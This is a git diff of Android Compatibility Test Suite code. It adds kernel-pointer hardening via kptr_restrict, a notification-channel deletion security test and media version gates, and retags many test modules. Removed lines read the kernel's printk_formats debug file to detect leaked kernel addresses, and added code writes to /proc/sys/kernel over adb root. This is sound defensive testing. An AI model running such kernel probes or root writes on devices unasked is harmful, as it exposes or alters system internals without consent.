-        if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
-            String printkFormats = AdbUtils.runCommandLine(
-                    "cat /sys/kernel/debug/tracing/printk_formats", getDevice());
-            String[] pointerStrings = printkFormats.split("\n");
-            assertNotKernelPointer(new Callable<String>() {
-                int index;
-                @Override
-                public String call() {
-                  for (; index < pointerStrings.length; index++) {
-                      String line = pointerStrings[index];
-                      String pattern = "0x";
-                      int startIndex = line.indexOf(pattern);
-                      if (startIndex == -1) {
-                          continue;
-                      }
-                      return line.substring(startIndex + pattern.length());
-                  }
-                  return null;
-                }
-            }, null);
-        }
-    }
-
     /*
      * CVE-2016-5862
      */
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 5dc4590..d643084 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -20,6 +20,7 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
@@ -68,6 +69,11 @@
     private static Map<ITestDevice, String> sTestName = new HashMap<>();
     private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
 
+    @Option(name = "set-kptr_restrict",
+            description = "If kptr_restrict should be set to 2 after every reboot")
+    private boolean setKptr_restrict = false;
+    private boolean ignoreKernelAddress = false;
+
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
@@ -85,6 +91,17 @@
 
         pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
         sPocPusher.put(getDevice(), pocPusher);
+
+        if (setKptr_restrict) {
+            if (getDevice().enableAdbRoot()) {
+                CLog.i("setting kptr_restrict to 2");
+                getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict");
+                getDevice().disableAdbRoot();
+            } else {
+                // not a rootable device
+                ignoreKernelAddress = true;
+            }
+        }
     }
 
     /**
@@ -160,6 +177,7 @@
      */
     public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
             throws Exception {
+        assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress);
         String ptr = null;
         for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
             ptr = getPtrFunction.call();
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index 3051a18..90a4097 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -32,7 +32,7 @@
 
     private static final String TAG = "LocalForegroundService";
     protected static final String EXTRA_COMMAND = "LocalForegroundService.command";
-    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+    public static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
     public static String ACTION_START_FGS_RESULT =
             "android.app.stubs.LocalForegroundService.RESULT";
 
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 792ef5d..d2e0776 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -1105,6 +1105,31 @@
         assertNoNotification(2);
     }
 
+    public void testForegroundService_notificationChannelDeletion() throws Exception {
+        NotificationManager noMan = mContext.getSystemService(NotificationManager.class);
+
+        // Start service as foreground - it should show notification #1
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+        waitForResultOrThrow(DELAY, "service to start first time");
+        assertNotification(1, LocalForegroundService.getNotificationTitle(1));
+
+        try {
+            final String channel = LocalForegroundService.NOTIFICATION_CHANNEL_ID;
+            noMan.deleteNotificationChannel(channel);
+            fail("Deleting FGS notification channel did not throw");
+        } catch (SecurityException se) {
+            // Expected outcome, i.e. success case
+        } catch (Exception e) {
+            fail("Deleting FGS notification threw unexpected failure " + e);
+        }
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+
+    }
+
     class TestSendCallback implements PendingIntent.OnFinished {
         public volatile int result = -1;
 
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index 352ed6d..7ec8bfc 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -26,7 +26,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "fullbackup/AndroidManifest.xml"
@@ -47,7 +47,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "keyvalue/AndroidManifest.xml"
@@ -68,7 +68,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "permission/AndroidManifest.xml"
@@ -89,7 +89,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
     manifest: "permission22/AndroidManifest.xml"
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
index ef6a95e..39d0812 100644
--- a/tests/framework/base/windowmanager/Android.mk
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -44,7 +44,7 @@
     CtsMockInputMethodLib \
     metrics-helper-lib \
 
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests sts
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/framework/base/windowmanager/alertwindowapp/Android.bp b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
index 07069de..c8245da 100644
--- a/tests/framework/base/windowmanager/alertwindowapp/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
@@ -29,5 +29,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
index e7cbcdb..fd6d943 100644
--- a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
@@ -31,5 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 58d8688..6aee4e4 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -27,6 +27,7 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 
     dex_preopt: {
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index b12f93b..3512924 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -33,5 +33,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/app27/Android.bp b/tests/framework/base/windowmanager/app27/Android.bp
index 6ddf919..79d2d22 100644
--- a/tests/framework/base/windowmanager/app27/Android.bp
+++ b/tests/framework/base/windowmanager/app27/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appAShareUid/Android.bp b/tests/framework/base/windowmanager/appAShareUid/Android.bp
index 57adfd6..052f829 100644
--- a/tests/framework/base/windowmanager/appAShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appAShareUid/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appBShareUid/Android.bp b/tests/framework/base/windowmanager/appBShareUid/Android.bp
index ec15e80..8fe4775 100644
--- a/tests/framework/base/windowmanager/appBShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appBShareUid/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
index c83b44f..8582bf1 100644
--- a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appDisplaySize/Android.bp b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
index 819a9bf..d492d7b 100644
--- a/tests/framework/base/windowmanager/appDisplaySize/Android.bp
+++ b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
index d110d19..6f5d5e4 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appProfileable/Android.bp b/tests/framework/base/windowmanager/appProfileable/Android.bp
index cd54094..2dcd954 100644
--- a/tests/framework/base/windowmanager/appProfileable/Android.bp
+++ b/tests/framework/base/windowmanager/appProfileable/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts"
     ],
 }
diff --git a/tests/framework/base/windowmanager/appSecondUid/Android.bp b/tests/framework/base/windowmanager/appSecondUid/Android.bp
index 5f44f5c..692f73b 100644
--- a/tests/framework/base/windowmanager/appSecondUid/Android.bp
+++ b/tests/framework/base/windowmanager/appSecondUid/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/appThirdUid/Android.bp b/tests/framework/base/windowmanager/appThirdUid/Android.bp
index 08a878c..22bab9d 100644
--- a/tests/framework/base/windowmanager/appThirdUid/Android.bp
+++ b/tests/framework/base/windowmanager/appThirdUid/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.bp b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
index 7abd478..9a1463e 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.bp
@@ -26,5 +26,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.bp b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
index 00b4055..0a14121 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 
     static_libs: ["cts-wm-app-base"],
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
index 13dbca2..4420670 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 
     static_libs: ["cts-wm-app-base"],
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 98e5ff5..6e19de2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -91,6 +91,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.Settings;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.SizeInfo;
@@ -278,6 +279,7 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel="2021-03")
     public void testEnterPipWithTinyMinimalSize() throws Exception {
         // Launch a PiP activity with minimal size specified and smaller than allowed minimum
         launchActivity(PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE, EXTRA_ENTER_PIP, "true");
diff --git a/tests/framework/base/windowmanager/translucentapp/Android.bp b/tests/framework/base/windowmanager/translucentapp/Android.bp
index c551c29..3a19970 100644
--- a/tests/framework/base/windowmanager/translucentapp/Android.bp
+++ b/tests/framework/base/windowmanager/translucentapp/Android.bp
@@ -31,5 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
index 7c8d0d8..4ec800b 100644
--- a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
+++ b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
@@ -29,5 +29,6 @@
         "cts",
         "vts10",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 2283541..6159a6c 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -43,6 +43,7 @@
         "vts10",
         "general-tests",
         "mts",
+        "sts",
     ],
     static_libs: [
         "androidx.annotation_annotation",
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index a1dd914..412d52e 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -71,7 +71,7 @@
         "cts",
         "vts10",
         "general-tests",
-	"mts",
+	"mts-documentsui",
     ],
     min_sdk_version: "29",
 }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 8536f30..dbcba7f 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -33,8 +33,8 @@
 import android.media.cts.DecoderTestAacDrc.DrcParams;
 import android.media.cts.R;
 import android.os.Build;
-import android.util.Log;
 import android.os.Bundle;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -567,6 +567,13 @@
     @Test
     public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+        if(!sIsAndroidRAndAbove) {
+            // The fix for b/158471477 was released in mainline release 300802800
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11990700
+            final int MIN_VERSION = 300802800;
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media.swcodec", MIN_VERSION);
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media", MIN_VERSION);
+        }
 
         assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 48208d9..98acf0b 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -345,6 +345,11 @@
     }
 
     public void testID3v240ExtHeader() {
+        if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            // The fix for b/154357105 was released in mainline release 30.09.007.01
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063
+            TestUtils.assumeMainlineModuleAtLeast("com.google.android.media", 300900701);
+        }
         setDataSourceFd(R.raw.sinesweepid3v24ext);
         assertEquals("Mime type was other than expected",
                 "audio/mpeg",
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index 093cc8c..fb8212f 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -16,21 +16,21 @@
 
 package android.media.cts;
 
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static android.content.pm.PackageManager.MATCH_APEX;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
-import android.media.session.MediaSessionManager;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
 
-import java.io.FileDescriptor;
-import java.util.ArrayList;
-import java.util.List;
+import androidx.test.core.app.ApplicationProvider;
+
+import org.junit.AssumptionViolatedException;
+
 import java.util.Objects;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Utilities for tests.
@@ -66,6 +66,34 @@
         return true;
     }
 
+    /**
+     * Checks {@code module} is at least {@code minVersion}
+     *
+     * The tests are skipped by throwing a {@link AssumptionViolatedException}.  CTS test runners
+     * will report this as a {@code ASSUMPTION_FAILED}.
+     *
+     * @param module     the apex module name
+     * @param minVersion the minimum version
+     * @throws AssumptionViolatedException if module.minVersion < minVersion
+     */
+    static void assumeMainlineModuleAtLeast(String module, long minVersion) {
+        Context context = ApplicationProvider.getApplicationContext();
+        PackageInfo info;
+        try {
+            info = context.getPackageManager().getPackageInfo(module,
+                    MATCH_APEX);
+            long actualVersion = info.getLongVersionCode();
+            assumeTrue("Assumed Module  " + module + " minVersion " + actualVersion + " >= "
+                            + minVersion,
+                    actualVersion >= minVersion);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+    }
+
+    private TestUtils() {
+    }
+
     public static class Monitor {
         private int mNumSignal;
 
diff --git a/tests/tests/mediaparser/AndroidManifest.xml b/tests/tests/mediaparser/AndroidManifest.xml
index e3a26e0..f0f6d97 100644
--- a/tests/tests/mediaparser/AndroidManifest.xml
+++ b/tests/tests/mediaparser/AndroidManifest.xml
@@ -19,6 +19,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.media.mediaparser.cts">
 
+    <uses-sdk android:minSdkVersion="29"
+              android:targetSdkVersion="29"/>
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index 0b1c436..a699281 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 7a8d3e9..85c1240 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -24,7 +24,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index 8fd122f..e89895d 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -23,7 +23,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index 5289a03..54ea4ac 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -24,6 +24,6 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index a773751..149f2a8 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index 4aafcf0..91e9c99 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index ce315fc..b52d97c 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index 5558cd0..79aee92 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index 5675d7c..c49a607 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index 8d37688..dcee0ff 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index 3bf0f8a1..6df9086 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index 4115428..b5f8076 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
index 01de19b..506cf92 100644
--- a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
+++ b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppThatRequestsOneTimePermission",
     defaults: ["cts_defaults"],
@@ -21,8 +25,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts10",
-        "mts",
+        "mts-permission",
         "general-tests",
     ],
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index d735739..655cd6f 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -24,7 +24,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index 9b0963b..b6c80c5 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -24,7 +24,7 @@
         "vts10",
         "general-tests",
         "sts",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index 29fe7a2..3786e39 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 412b2d7..033a87e 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index f2c7fa5..de5dd4b 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -25,7 +25,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index e82f753..a336a61 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 46f0fb9..dcc4792 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index 9f7c3d1..9eefccc 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -22,6 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index 43cd875..b999a51 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -22,6 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp28/Android.bp b/tests/tests/permission/StorageEscalationApp28/Android.bp
index 63fceda..776374c 100644
--- a/tests/tests/permission/StorageEscalationApp28/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp28/Android.bp
@@ -20,6 +20,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+	"mts-permission",
+        "sts",
     ],
 }
